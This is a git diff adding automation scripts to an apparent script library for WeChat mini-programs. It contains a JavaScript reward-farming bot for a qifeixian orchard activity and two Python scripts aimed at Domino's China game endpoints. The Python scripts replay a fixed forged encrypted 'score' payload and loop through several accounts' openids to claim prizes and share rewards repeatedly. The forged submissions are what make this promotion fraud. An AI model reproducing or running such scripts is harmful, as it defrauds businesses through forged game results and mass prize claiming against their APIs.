addNotifyStr(tasks['is_registered']['task_name'] + ':') + await task_water(tasks['is_registered']['task_id']) + + addNotifyStr(tasks['is_registered']['task_name'] + ':') + await task_water(tasks['is_registered']['task_id']) + taskss = data.data.data.task.will + + addNotifyStr(taskss['is_personal_data']['task_name'] + ':') + await task_water(taskss['is_personal_data']['task_id']) + } else + addNotifyStr(data.data.msg) + + } catch (e) { + log(`异常:${data},原因:${data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} +//领取奖励 +async function task_water(task_id) { + return new Promise((resolve) => { + + var options = { + method: 'GET', + url: 'https://cluster.qifeixian.com/api/activity-center/v1/orchard/task_water', + params: { ts_id: tsid, task_id: task_id }, + headers: { + Host: host, + Connection: connection, + 'x-ds-key': newtoken, + Authorization: 'Basic ' + newtoken, + 'Content-Type': contentType, + 'user-agent': userAgent, + 'x-ds-port': xdPort, + 'base-version': baseVersion, + version: version, + Accept: '*/*', + Referer: referer, + 'Accept-Encoding': acceptEncoding + }, + data: {} + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(function (response) { + try { + var data = response.data; + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + if (data.data.code = 10000) { + + addNotifyStr(data.data.msg) + } else + addNotifyStr(data.data.msg) + + } catch (e) { + addNotifyStr(`异常:${data},原因:${data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} +//浇水 +async function water() { + return new Promise((resolve) => { + + var options = { + method: 'GET', + url: 'https://cluster.qifeixian.com/api/activity-center/v1/orchard/water/' + tsid, + + headers: { + Host: host, + Connection: connection, + 'x-ds-key': newtoken, + Authorization: 'Basic ' + newtoken, + 'Content-Type': contentType, + 'user-agent': userAgent, + 'x-ds-port': xdPort, + 'base-version': baseVersion, + version: version, + Accept: '*/*', + Referer: referer, + 'Accept-Encoding': acceptEncoding + }, + data: {} + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(function (response) { + try { + var data = response.data; + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + if (data.data.code = 10000) { + + addNotifyStr(data.data.msg) + } else + addNotifyStr(data.data.msg) + + } catch (e) { + addNotifyStr(`异常:${data},原因:${data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} + + + + + + + + +async function Envs() { + if (qfxhd) { + if (qfxhd.indexOf("@") != -1) { + qfxhd.split("@").forEach((item) => { + + qfxhdArr.push(item); + }); + } else if (qfxhd.indexOf("\n") != -1) { + qfxhd.split("\n").forEach((item) => { + qfxhdArr.push(item); + }); + } else { + qfxhdArr.push(qfxhd); + } + } else { + addNotifyStr(`\n 【${$.name}】:未填写变量 qfxhd`) + return; + } + + return true; +} + +function md5(inputString) { + var hc = "0123456789abcdef"; + + function rh(n) { + var j, s = ""; + for (j = 0; j <= 3; j++) s += hc.charAt((n >> (j * 8 + 4)) & 0x0F) + hc.charAt((n >> (j * 8)) & 0x0F); + return s; + } + + function ad(x, y) { + var l = (x & 0xFFFF) + (y & 0xFFFF); + var m = (x >> 16) + (y >> 16) + (l >> 16); + return (m << 16) | (l & 0xFFFF); + } + + function rl(n, c) { + return (n << c) | (n >>> (32 - c)); + } + + function cm(q, a, b, x, s, t) { + return ad(rl(ad(ad(a, q), ad(x, t)), s), b); + } + + function ff(a, b, c, d, x, s, t) { + return cm((b & c) | ((~b) & d), a, b, x, s, t); + } + + function gg(a, b, c, d, x, s, t) { + return cm((b & d) | (c & (~d)), a, b, x, s, t); + } + + function hh(a, b, c, d, x, s, t) { + return cm(b ^ c ^ d, a, b, x, s, t); + } + + function ii(a, b, c, d, x, s, t) { + return cm(c ^ (b | (~d)), a, b, x, s, t); + } + + function sb(x) { + var i; + var nblk = ((x.length + 8) >> 6) + 1; + var blks = new Array(nblk * 16); + for (i = 0; i < nblk * 16; i++) blks[i] = 0; + for (i = 0; i < x.length; i++) blks[i >> 2] |= x.charCodeAt(i) << ((i % 4) * 8); + blks[i >> 2] |= 0x80 << ((i % 4) * 8); + blks[nblk * 16 - 2] = x.length * 8; + return blks; + } + + var i, x = sb(inputString), + a = 1732584193, + b = -271733879, + c = -1732584194, + d = 271733878, + olda, oldb, oldc, oldd; + for (i = 0; i < x.length; i += 16) { + olda = a; + oldb = b; + oldc = c; + oldd = d; + a = ff(a, b, c, d, x[i + 0], 7, -680876936); + d = ff(d, a, b, c, x[i + 1], 12, -389564586); + c = ff(c, d, a, b, x[i + 2], 17, 606105819); + b = ff(b, c, d, a, x[i + 3], 22, -1044525330); + a = ff(a, b, c, d, x[i + 4], 7, -176418897); + d = ff(d, a, b, c, x[i + 5], 12, 1200080426); + c = ff(c, d, a, b, x[i + 6], 17, -1473231341); + b = ff(b, c, d, a, x[i + 7], 22, -45705983); + a = ff(a, b, c, d, x[i + 8], 7, 1770035416); + d = ff(d, a, b, c, x[i + 9], 12, -1958414417); + c = ff(c, d, a, b, x[i + 10], 17, -42063); + b = ff(b, c, d, a, x[i + 11], 22, -1990404162); + a = ff(a, b, c, d, x[i + 12], 7, 1804603682); + d = ff(d, a, b, c, x[i + 13], 12, -40341101); + c = ff(c, d, a, b, x[i + 14], 17, -1502002290); + b = ff(b, c, d, a, x[i + 15], 22, 1236535329); + a = gg(a, b, c, d, x[i + 1], 5, -165796510); + d = gg(d, a, b, c, x[i + 6], 9, -1069501632); + c = gg(c, d, a, b, x[i + 11], 14, 643717713); + b = gg(b, c, d, a, x[i + 0], 20, -373897302); + a = gg(a, b, c, d, x[i + 5], 5, -701558691); + d = gg(d, a, b, c, x[i + 10], 9, 38016083); + c = gg(c, d, a, b, x[i + 15], 14, -660478335); + b = gg(b, c, d, a, x[i + 4], 20, -405537848); + a = gg(a, b, c, d, x[i + 9], 5, 568446438); + d = gg(d, a, b, c, x[i + 14], 9, -1019803690); + c = gg(c, d, a, b, x[i + 3], 14, -187363961); + b = gg(b, c, d, a, x[i + 8], 20, 1163531501); + a = gg(a, b, c, d, x[i + 13], 5, -1444681467); + d = gg(d, a, b, c, x[i + 2], 9, -51403784); + c = gg(c, d, a, b, x[i + 7], 14, 1735328473); + b = gg(b, c, d, a, x[i + 12], 20, -1926607734); + a = hh(a, b, c, d, x[i + 5], 4, -378558); + d = hh(d, a, b, c, x[i + 8], 11, -2022574463); + c = hh(c, d, a, b, x[i + 11], 16, 1839030562); + b = hh(b, c, d, a, x[i + 14], 23, -35309556); + a = hh(a, b, c, d, x[i + 1], 4, -1530992060); + d = hh(d, a, b, c, x[i + 4], 11, 1272893353); + c = hh(c, d, a, b, x[i + 7], 16, -155497632); + b = hh(b, c, d, a, x[i + 10], 23, -1094730640); + a = hh(a, b, c, d, x[i + 13], 4, 681279174); + d = hh(d, a, b, c, x[i + 0], 11, -358537222); + c = hh(c, d, a, b, x[i + 3], 16, -722521979); + b = hh(b, c, d, a, x[i + 6], 23, 76029189); + a = hh(a, b, c, d, x[i + 9], 4, -640364487); + d = hh(d, a, b, c, x[i + 12], 11, -421815835); + c = hh(c, d, a, b, x[i + 15], 16, 530742520); + b = hh(b, c, d, a, x[i + 2], 23, -995338651); + a = ii(a, b, c, d, x[i + 0], 6, -198630844); + d = ii(d, a, b, c, x[i + 7], 10, 1126891415); + c = ii(c, d, a, b, x[i + 14], 15, -1416354905); + b = ii(b, c, d, a, x[i + 5], 21, -57434055); + a = ii(a, b, c, d, x[i + 12], 6, 1700485571); + d = ii(d, a, b, c, x[i + 3], 10, -1894986606); + c = ii(c, d, a, b, x[i + 10], 15, -1051523); + b = ii(b, c, d, a, x[i + 1], 21, -2054922799); + a = ii(a, b, c, d, x[i + 8], 6, 1873313359); + d = ii(d, a, b, c, x[i + 15], 10, -30611744); + c = ii(c, d, a, b, x[i + 6], 15, -1560198380); + b = ii(b, c, d, a, x[i + 13], 21, 1309151649); + a = ii(a, b, c, d, x[i + 4], 6, -145523070); + d = ii(d, a, b, c, x[i + 11], 10, -1120210379); + c = ii(c, d, a, b, x[i + 2], 15, 718787259); + b = ii(b, c, d, a, x[i + 9], 21, -343485551); + a = ad(a, olda); + b = ad(b, oldb); + c = ad(c, oldc); + d = ad(d, oldd); + } + return rh(a) + rh(b) + rh(c) + rh(d); +} + +/** + * 添加消息 + * @param str + * @param is_log + */ +function addNotifyStr(str, is_log = true) { + if (is_log) { + log(`${str}\n`) + } + msg += `${str}\n` +} + +// ============================================发送消息============================================ \\ +async function SendMsg(message) { + if (!message) + return; + + if (Notify > 0) { + if ($.isNode()) { + var notify = require('./sendNotify'); + await notify.sendNotify($.name, message); + } else { + $.msg(message); + } + } else { + log(message); + } +} + +/** + * 随机延时1-30s,避免大家运行时间一样 + * @returns {*|number} + */ +function delay() { + let time = parseInt(Math.random() * 100000); + if (time > 30000) { // 大于30s重新生成 + return delay(); + } else { + console.log('随机延时:', `${time}ms, 避免大家运行时间一样`) + return time; // 小于30s,返回 + } +} + +/** + * 随机数生成 + */ +function randomString(e) { + e = e || 32; + var t = "QWERTYUIOPASDFGHJKLZXCVBNM1234567890", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +/** + * 随机整数生成 + */ +function randomInt(min, max) { + return Math.round(Math.random() * (max - min) + min) +} + +/** + * 获取毫秒时间戳 + */ +function timestampMs() { + return new Date().getTime(); +} + +/** + * 获取秒时间戳 + */ +function timestampS() { + return Date.parse(new Date()) / 1000; +} + +function randomStrings(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +/** + * + * 示例:$.time('yyyy-MM-dd qq HH:mm:ss.S') + * :$.time('yyyyMMddHHmmssS') + * y:年 M:月 d:日 q:季 H:时 m:分 s:秒 S:毫秒 + * 其中y可选0-4位占位符、S可选0-1位占位符,其余可选0-2位占位符 + * @param {string} fmt 格式化参数 + * @param {number} 可选: 根据指定时间戳返回格式化日期 + * + */ +function time(fmt, ts = null) { + const date = ts ? new Date(ts) : new Date(); + let o = { + 'M+': date.getMonth() + 1, + 'd+': date.getDate(), + 'H+': date.getHours(), + 'm+': date.getMinutes(), + 's+': date.getSeconds(), + 'q+': Math.floor((date.getMonth() + 3) / 3), + S: date.getMilliseconds(), + }; + if (/(y+)/.test(fmt)) + fmt = fmt.replace( + RegExp.$1, + (date.getFullYear() + '').substr(4 - RegExp.$1.length) + ); + for (let k in o) + if (new RegExp('(' + k + ')').test(fmt)) + fmt = fmt.replace( + RegExp.$1, + RegExp.$1.length == 1 ? + o[k] : + ('00' + o[k]).substr(('' + o[k]).length) + ); + return fmt; +} + +/** + * 修改配置文件 + */ + + + + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("xxxxxx") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} +​ diff --git a/脚本库/微信小程序/抓包版/达美乐/2025-06-28_达美乐_ac7dcacb.py b/脚本库/微信小程序/抓包版/达美乐/2025-06-28_达美乐_ac7dcacb.py new file mode 100644 index 0000000..d05a057 --- /dev/null +++ b/脚本库/微信小程序/抓包版/达美乐/2025-06-28_达美乐_ac7dcacb.py @@ -0,0 +1,84 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E8%BE%BE%E7%BE%8E%E4%B9%90.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E8%BE%BE%E7%BE%8E%E4%B9%90.py +# Repo: jdqlscript/toulu +# Path: 达美乐.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: ac7dcacb101c1cc677a6b9c418de1ed3a63c43349c93191d0519d6375d79b3de +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +''' +达美乐,开一把游戏抓取openid的值。 +一定要在我的奖品那绑定好手机号! +变量名1:dmlck,多账号用@隔开。备注信息用#隔开 如openid的值#大帅比 +变量名2:pzid 填活动id这次是volcano(活动ID自己抓) + + +TL库:https://github.com/3288588344/toulu.git + tg频道:https://t.me/TLtoulu + QQ频道:https://pd.qq.com/s/672fku8ge + + +''' +import os +import time +import requests +import json +import notify +message = '' +# from dotenv import load_dotenv +# load_dotenv() +accounts = os.getenv('dmlck') +pzid = os.getenv('pzid') +if accounts is None: + print('你没有填入ck,咋运行?') +else: + accounts_list = os.environ.get('dmlck').split('@') + + num_of_accounts = len(accounts_list) + + print(f"获取到 {num_of_accounts} 个账号") + + for i, account in enumerate(accounts_list, start=1): + + values = account.split('#') + Cookie = values[0] + account_no = values[1] if len(values) > 1 else "" + print(f"\n=======开始执行账号{i} {account_no}=======") + url = f"https://game.dominos.com.cn/{pzid}/game/gameDone" + payload = f"openid={Cookie}&score=t5%2Bhzvt2h6jpwH7D%2BJkNWvT%2Fb6J2mWDStIgcC4ZSrhkqPEqXtcDrCC9LVFvQLRtGkeVQ7z0W6RYqcXxmeXi9596r4HZ1Pt0E5PpRLYWZZL%2BXQXEpyc0WX8c4ewMqQymjBgGMcSRFp3aaLTDNaRLvLcnnh2t5PpL70pW%2B7LcM8tnhtP1J2rLaTe0Dno7%2B9Qf32LuHUS%2BUXCgQ6YbCJwj%2BWrmhP1zbFvGthkH6HB9lkI9mS%2F%2BY9582WQeFREMF9OflJpRVjgPd1%2FPWFRWKWrl%2F7VGztrHpQLZvLQ9HRINK99cN4FBBvPVkkHxyACadINkuFwxgC9ODPYInHXXpn5iElg%3D%3D" + headers = { + 'User-Agent': "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_2 like Mac OS X; sd-PK) AppleWebKit/535.42.7 (KHTML, like Gecko) Version/4.0.5 Mobile/8B111 Safari/6535.42.7", + 'Accept-Encoding': "gzip,compress,br,deflate", + 'Content-Type': "application/x-www-form-urlencoded", + 'charset': "utf-8", + 'Referer': "https://servicewechat.com/wx887bf6ad752ca2f3/63/page-frame.html" + } + + while True: + shrurl = f"https://game.dominos.com.cn/{pzid}/game/sharingDone" + payload2 = f"openid={Cookie}&from=1&target=0" + res = requests.post(shrurl, data=payload2, headers=headers).json() + if res['errorMessage'] == "今日分享已用完,请明日再来": + print(f'账号{i}分享已达上限,开始抽奖') + break + message +=f"账号{i}" + while True: + response = requests.post(url, data=payload, headers=headers) + response = response.json() + if response["statusCode"] == 0: + prize = response['content']['name'] + print(f"\n{prize}") + message += f"\n {prize}" + time.sleep(1) + + if response["statusCode"] != 0: + print(response) + err = response['errorMessage'] + message += f'\n账号{i}\n {err}' + break +try: + notify.send('达美乐',message) +except Exception as e: + print(e) + print('推送失败') \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/达美乐短信认证/2025-06-28_达美乐短信认证_435e1f0c.py b/脚本库/微信小程序/抓包版/达美乐短信认证/2025-06-28_达美乐短信认证_435e1f0c.py new file mode 100644 index 0000000..35a2873 --- /dev/null +++ b/脚本库/微信小程序/抓包版/达美乐短信认证/2025-06-28_达美乐短信认证_435e1f0c.py @@ -0,0 +1,135 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E8%BE%BE%E7%BE%8E%E4%B9%90%E7%9F%AD%E4%BF%A1%E8%AE%A4%E8%AF%81.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E8%BE%BE%E7%BE%8E%E4%B9%90%E7%9F%AD%E4%BF%A1%E8%AE%A4%E8%AF%81.py +# Repo: jdqlscript/toulu +# Path: 达美乐短信认证.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 435e1f0c67ba8509a91e02100035261e85faa63adfe9d41b27747e380e0a3b21 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +## 此脚本用于达美乐短信认证,只需要手动进一次游戏界面,不用玩!!!! +## 替换每期GAME_TYPE参数,游戏类型 + +# TL库:https://github.com/3288588344/toulu.git +# tg频道:https://t.me/TLtoulu +# QQ频道:https://pd.qq.com/s/672fku8ge + +import requests + +# 固定分数 +SCORE = "G+oAJ6PkCLjILdZ4ynoxaH4wQGqHQyXKKBe1tD/C6jj/Ew+gBmSGDj60ggw739hvaz0nzfQjha5jA+yBLiBE1smAjOR7xSLt6bR1cCNDiR6VgbfCYF6o19AvuHB64YTgwUQuJcSOP2zODgkjucSo33lwk1NJ82BFmA88v2sjJGLbMisjWWE0mOSeXz6VKNAhoVF8fwfjw79sxeEoUadqHkrpvUOuyswvzHsUJIlFwqD2eRQtffmR0PQNxFKoqttskJWpQTQ73uLYEjJfm9VCUxksVkqhtvzprqib9H4jFunQqQ25zdq09+0ZI6v7fLarKXEkV0/V+WmuEHzHxzHI+Q==" + +# 每期游戏类型 +GAME_TYPE = "volcano" + +# 统一请求头 +headers = { + 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b13)XWEB/11177", + 'Content-Type': "application/x-www-form-urlencoded", + 'xweb_xhr': "1", + 'Sec-Fetch-Site': "cross-site", + 'Sec-Fetch-Mode': "cors", + 'Sec-Fetch-Dest': "empty", + 'Referer': "https://servicewechat.com/wx887bf6ad752ca2f3/66/page-frame.html", + 'Accept-Language': "zh-CN,zh;q=0.9" +} + +def post_request(endpoint, payload): + url = f"https://game.dominos.com.cn/{GAME_TYPE}/{endpoint}" + try: + response = requests.post(url, data=payload, headers=headers) + response.raise_for_status() + return response.json() + except requests.RequestException as e: + print(f"请求出现异常: {e}") + return None + +def get_temp_id(openid, score): + payload = {'openid': openid, 'score': score, 'tempId': 'null'} + response_data = post_request('game/gameDone', payload) + + if response_data: + status_code = response_data.get("statusCode") + if status_code == 10: + tempId = response_data.get("extra", {}).get("tempId") + if tempId: + print(f"成功获取 tempId: {tempId}") + return tempId + else: + print("获取 tempId 失败,tempId 为 null") + else: + error_message = response_data.get("errorMessage", "无错误信息") + print(f"获取 tempId 失败,状态码: {status_code}, 信息: {error_message}") + return None + +def send_sms(openid, mobile): + payload = {'openid': openid, 'mobile': mobile, 'type': 'null'} + response_data = post_request('sendSMS', payload) + + if response_data: + status_code = response_data.get("statusCode") + error_message = response_data.get("errorMessage", "无错误信息") + + if status_code == 10: + print(f"手机号码已绑定,错误信息: {error_message},跳过短信验证") + return True # 手机号已绑定,返回 True 表示跳过短信验证 + elif status_code == 0: + print("短信发送成功!") + return False # 短信发送成功,返回 False 表示需要进行短信验证 + else: + print(f"短信发送失败,状态码: {status_code}") + print(f"错误信息: {error_message}") + print(f"响应: {response_data}") + return False + +def verify_code(openid, mobile, verification_code): + payload = {'openid': openid, 'mobile': mobile, 'code': verification_code} + response_data = post_request('verification', payload) + + if response_data: + status_code = response_data.get("statusCode") + error_message = response_data.get("errorMessage", "无错误信息") + + if status_code == 0: + print("验证码验证成功!") + else: + print(f"验证码验证失败,状态码: {status_code}") + print(f"错误信息: {error_message}") + print(f"响应: {response_data}") + +def post_game_done(openid, score, tempId): + payload = {'openid': openid, 'score': score, 'tempId': tempId} + response_data = post_request('game/gameDone', payload) + + if response_data: + print(f"游戏认证完成: 响应: {response_data}") + +def main(): + mobile = input("请输入手机号: ") + openid = input("请输入openid: ") + + tempId = get_temp_id(openid, SCORE) + if tempId: + # 如果成功获取到 tempId,执行 send_sms + if send_sms(openid, mobile): + # 如果手机号已绑定,直接执行后续任务 + print("手机号已绑定") + post_game_done(openid, SCORE, tempId) + else: + # 如果短信发送成功,要求输入验证码进行验证 + verification_code = input("请输入验证码: ") + verify_code(openid, mobile, verification_code) + post_game_done(openid, SCORE, tempId) + else: + # 如果未获取到 tempId,直接获取短信验证码 + if send_sms(openid, mobile): + # 如果手机号已绑定,直接执行后续任务 + print("手机号已绑定") + post_game_done(openid, SCORE, 'null') # tempId 为 null,因为未获取到 tempId + else: + verification_code = input("请输入验证码: ") + verify_code(openid, mobile, verification_code) + post_game_done(openid, SCORE, 'null') # tempId 为 null,因为未获取到 tempId + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/逑美_薇诺娜专柜小程序/2025-06-28_逑美And薇诺娜专柜小程序_5e1421f7.js 